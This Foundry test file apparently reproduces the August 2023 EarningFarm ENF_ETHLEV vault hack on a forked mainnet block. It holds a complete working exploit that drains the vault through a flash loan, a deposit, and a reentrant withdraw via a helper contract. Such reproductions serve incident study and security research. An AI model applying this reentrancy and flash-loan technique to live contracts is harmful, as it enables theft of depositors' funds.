src/test/2023-08/EarningFram_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~286K USD$
8// Attacker : https://etherscan.io/address/0xee4b3dd20902fa3539706f25005fa51d3b7bdf1b
9// Attack Contract : https://etherscan.io/address/0xfe141c32e36ba7601d128f0c39dedbe0f6abb983
10// Vulnerable Contract : https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e
11// Attack Tx : https://etherscan.io/tx/0x6e6e556a5685980317cb2afdb628ed4a845b3cbd1c98bdaffd0561cb2c4790fa
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1689182459269644288
18 
19interface IENF_ETHLEV is IERC20 {
20    function deposit(uint256 assets, address receiver) external payable returns (uint256);
21 
22    function withdraw(uint256 assets, address receiver) external returns (uint256);
23 
24    function convertToAssets(
25        uint256 shares
26    ) external view returns (uint256);
27 
28    function totalAssets() external view returns (uint256);
29}
30 
31contract ContractTest is Test {
32    IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
33    Uni_Pair_V3 Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
34    IENF_ETHLEV ENF_ETHLEV = IENF_ETHLEV(0x5655c442227371267c165101048E4838a762675d);
35    address Controller = 0xE8688D014194fd5d7acC3c17477fD6db62aDdeE9;
36    Exploiter exploiter;
37    uint256 nonce;
38 
39    function setUp() public {
40        vm.createSelectFork("mainnet", 17_875_885);
41        vm.label(address(WETH), "WETH");
42        vm.label(address(ENF_ETHLEV), "ENF_ETHLEV");
43        vm.label(address(Pair), "Piar");
44        exploiter = new Exploiter();
45    }
46 
47    function testExploit() external {
48        while (ENF_ETHLEV.totalAssets() > 1 ether) {
49            deal(address(this), 0);
50 
51            Pair.flash(address(this), 0, 10_000 ether, abi.encode(10_000 ether));
52 
53            emit log_named_decimal_uint(
54                "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
55            );
56        }
57    }
58 
59    function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
60        WETH.withdraw(WETH.balanceOf(address(this)));
61        ENF_ETHLEV.approve(address(ENF_ETHLEV), type(uint256).max);
62        uint256 assets = ENF_ETHLEV.totalAssets();
63        ENF_ETHLEV.deposit{value: assets}(assets, address(this)); // deposit eth, mint shares
64 
65        uint256 assetsAmount = ENF_ETHLEV.convertToAssets(ENF_ETHLEV.balanceOf(address(this)));
66        ENF_ETHLEV.withdraw(assetsAmount, address(this)); // withdraw all assets, burn small shares by reentracny, re-enter point
67 
68        exploiter.withdraw(); // withdraw all assets
69 
70        WETH.deposit{value: address(this).balance}();
71        uint256 amount = abi.decode(data, (uint256));
72        WETH.transfer(address(Pair), amount1 + amount);
73    }
74 
75    receive() external payable {
76        if (msg.sender == Controller) {
77            ENF_ETHLEV.transfer(address(exploiter), ENF_ETHLEV.balanceOf(address(this)) - 1);
78            nonce++;
79        }
80    }
81}
82 
83contract Exploiter {
84    IENF_ETHLEV ENF_ETHLEV = IENF_ETHLEV(0x5655c442227371267c165101048E4838a762675d);
85 
86    function withdraw() external {
87        ENF_ETHLEV.approve(address(ENF_ETHLEV), type(uint256).max);
88        uint256 assetsAmount = ENF_ETHLEV.convertToAssets(ENF_ETHLEV.balanceOf(address(this)));
89        ENF_ETHLEV.withdraw(assetsAmount, address(this));
90        payable(msg.sender).transfer(address(this).balance);
91    }
92 
93    receive() external payable {}
94}